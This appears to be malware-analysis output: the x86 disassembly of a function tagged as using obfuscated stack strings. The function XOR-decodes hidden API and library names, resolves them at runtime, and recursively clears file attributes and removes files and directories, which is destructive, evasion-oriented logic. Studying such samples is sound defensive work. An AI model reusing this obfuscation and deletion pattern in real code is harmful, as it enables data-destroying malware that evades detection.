Function at 0x401604
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x60], ecx
push 0xf
pop eax
mov dword [ebp - 0x48], eax
mov cl, 0x13
mov dword [ebp - 0x64], eax
mov eax, ebx
mov byte [ebp - 0xf], bl
mov dword [ebp - 0x4c], ebx
mov byte [ebp - 0x5c], bl
mov dword [ebp - 0x68], ebx
mov byte [ebp - 0x78], bl
mov dword [ebp - 0x18], 0x3d394f13
mov word [ebp - 0x14], 0x39
xor byte [ebp + eax - 0x17], cl
inc eax
cmp eax, 4
jae 0x40164d
mov cl, byte [ebp - 0x18]
jmp 0x40163e
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x17]
push eax
mov edx, esi
mov byte [ebp - 0x13], bl
lea ecx, [ebp - 0x90]
call fcn.00403d39
pop ecx
push eax
lea ecx, [ebp - 0x78]
call fcn.00403a82
lea ecx, [ebp - 0x90]
call fcn.00403b2e
cmp dword [ebp - 0x64], 0x10
lea edi, [ebp - 0x78]
push 0x13
cmovae edi, dword [ebp - 0x78]
mov eax, ebx
pop ecx
mov byte [ebp - 0x26], cl
mov dword [ebp - 0x25], 0x7d617658
mov dword [ebp - 0x21], 0x21207f76
mov dword [ebp - 0x1d], 0x7f7f773d
mov byte [ebp - 0x19], bl
xor byte [ebp + eax - 0x25], cl
inc eax
cmp eax, 0xc
jae 0x4016b3
mov cl, byte [ebp - 0x26]
jmp 0x4016a4
lea eax, [ebp - 0x25]
mov byte [ebp - 0x19], bl
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
jne 0x4016c8
mov eax, ebx
jmp 0x4016d4
mov edx, str.FindFirstFileA
mov ecx, eax
call fcn.00401390
lea ecx, [ebp - 0x1e8]
push ecx
push edi
call eax
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
je 0x4019f6
mov edi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
cmp byte [ebp - 0x1bc], 0x2e
je 0x401875
push ebx
lea ecx, [ebp - 0x5c]
call fcn.00403a06
push 0x4940ac
mov edx, esi
lea ecx, [ebp - 0xa8]
call fcn.00403d39
pop ecx
lea ecx, [ebp - 0x1bc]
mov edx, eax
lea eax, [ecx + 1]
mov dword [ebp - 0x18], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401727
sub ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x1bc]
push ecx
push eax
mov ecx, edx
call fcn.00403c55
push eax
lea ecx, [ebp - 0x90]
call fcn.00403ab7
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0x5c]
call fcn.00403a82
lea ecx, [ebp - 0x90]
call fcn.00403b2e
lea ecx, [ebp - 0xa8]
call fcn.00403b2e
test byte [ebp - 0x1e8], 0x10
je 0x4017a4
cmp byte [ebp + 0xc], bl
je 0x40179b
push dword [ebp + 0xc]
mov ecx, dword [ebp - 0x60]
lea eax, [ebp - 0x5c]
push eax
call fcn.00401604
test eax, eax
jne 0x401905
jmp 0x401875
mov byte [ebp - 0xf], 1
jmp 0x401875
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x5c]
mov cl, 0x55
mov dword [ebp - 0x34], 0x27301e55
cmovae eax, dword [ebp - 0x5c]
mov dword [ebp - 0x18], eax
mov eax, ebx
mov dword [ebp - 0x30], 0x6639303b
mov dword [ebp - 0x2c], 0x39317b67
mov word [ebp - 0x28], 0x39
xor byte [ebp + eax - 0x33], cl
inc eax
cmp eax, 0xc
jae 0x4017e0
mov cl, byte [ebp - 0x34]
jmp 0x4017d1
lea eax, [ebp - 0x33]
mov byte [ebp - 0x27], bl
push eax
call edi
test eax, eax
jne 0x4017f1
mov eax, ebx
jmp 0x4017fd
mov edx, str.SetFileAttributesA
mov ecx, eax
call fcn.00401390
push 0x80
push dword [ebp - 0x18]
call eax
test eax, eax
je 0x401903
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x5c]
mov cl, 0x40
mov dword [ebp - 0x42], 0x32250b40
cmovae eax, dword [ebp - 0x5c]
mov dword [ebp - 0x18], eax
mov eax, ebx
mov dword [ebp - 0x3e], 0x732c252e
mov dword [ebp - 0x3a], 0x2c246e72
mov word [ebp - 0x36], 0x2c
xor byte [ebp + eax - 0x41], cl
inc eax
cmp eax, 0xc
jae 0x40184b
mov cl, byte [ebp - 0x42]
jmp 0x40183c
lea eax, [ebp - 0x41]
mov byte [ebp - 0x35], bl
push eax
call edi
test eax, eax
jne 0x40185c
mov eax, ebx
jmp 0x401868
mov edx, 0x4940c4
mov ecx, eax
call fcn.00401390
push dword [ebp - 0x18]
call eax
test eax, eax
je 0x4019f6
mov cl, 0x1e
mov dword [ebp - 0xe], 0x6c7b551e
mov dword [ebp - 0xa], 0x2d727b70
mov eax, ebx
mov dword [ebp - 6], 0x727a302c
mov word [ebp - 2], 0x72
xor byte [ebp + eax - 0xd], cl
inc eax
cmp eax, 0xc
jae 0x4018a3
mov cl, byte [ebp - 0xe]
jmp 0x401894
lea eax, [ebp - 0xd]
mov byte [ebp - 1], bl
push eax
call edi
test eax, eax
jne 0x4018b4
mov eax, ebx
jmp 0x4018c0
mov edx, 0x4940d0
mov ecx, eax
call fcn.00401390
lea ecx, [ebp - 0x1e8]
push ecx
push dword [ebp + 8]
call eax
test eax, eax
jne 0x4016f0
push 0x24
pop ecx
mov byte [ebp - 0xe], cl
mov eax, ebx
mov dword [ebp - 0xd], 0x4a56416f
mov dword [ebp - 9], 0x16174841
mov dword [ebp - 5], 0x4848400a
mov byte [ebp - 1], bl
xor byte [ebp + eax - 0xd], cl
inc eax
cmp eax, 0xc
jae 0x40190c
mov cl, byte [ebp - 0xe]
jmp 0x4018f4
mov eax, ebx
mov ebx, eax
jmp 0x4019f6
lea eax, [ebp - 0xd]
mov byte [ebp - 1], bl
push eax
call edi
test eax, eax
jne 0x40191d
mov eax, ebx
jmp 0x401929
mov edx, 0x4940e0
mov ecx, eax
call fcn.00401390
push dword [ebp + 8]
call eax
cmp byte [ebp - 0xf], bl
jne 0x4019f6
cmp dword [esi + 0x14], 0x10
mov edi, esi
jb 0x401941
mov edi, dword [esi]
mov cl, 0x37
mov dword [ebp - 0xe], 0x45527c37
mov dword [ebp - 0xa], 0x45b5259
mov eax, ebx
mov dword [ebp - 6], 0x5b531905
mov word [ebp - 2], 0x5b
xor byte [ebp + eax - 0xd], cl
inc eax
cmp eax, 0xc
jae 0x40196f
mov cl, byte [ebp - 0xe]
jmp 0x401960
lea eax, [ebp - 0xd]
mov byte [ebp - 1], bl
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
jne 0x401984
mov eax, ebx
jmp 0x401990
mov edx, str.SetFileAttributesA
mov ecx, eax
call fcn.00401390
push 0x80
push edi
call eax
test eax, eax
je 0x4019f6
cmp dword [esi + 0x14], 0x10
jb 0x4019a4
mov esi, dword [esi]
mov cl, 0x54
mov dword [ebp - 0xe], 0x26311f54
mov dword [ebp - 0xa], 0x6738313a
mov eax, ebx
mov dword [ebp - 6], 0x38307a66
mov word [ebp - 2], 0x38
xor byte [ebp + eax - 0xd], cl
inc eax
cmp eax, 0xc
jae 0x4019d2
mov cl, byte [ebp - 0xe]
jmp 0x4019c3
lea eax, [ebp - 0xd]
mov byte [ebp - 1], bl
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
jne 0x4019e7
mov eax, ebx
jmp 0x4019f3
mov edx, str.RemoveDirectoryA
mov ecx, eax
call fcn.00401390
push esi
call eax
lea ecx, [ebp - 0x78]
call fcn.00403b2e
lea ecx, [ebp - 0x5c]
call fcn.00403b2e
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 8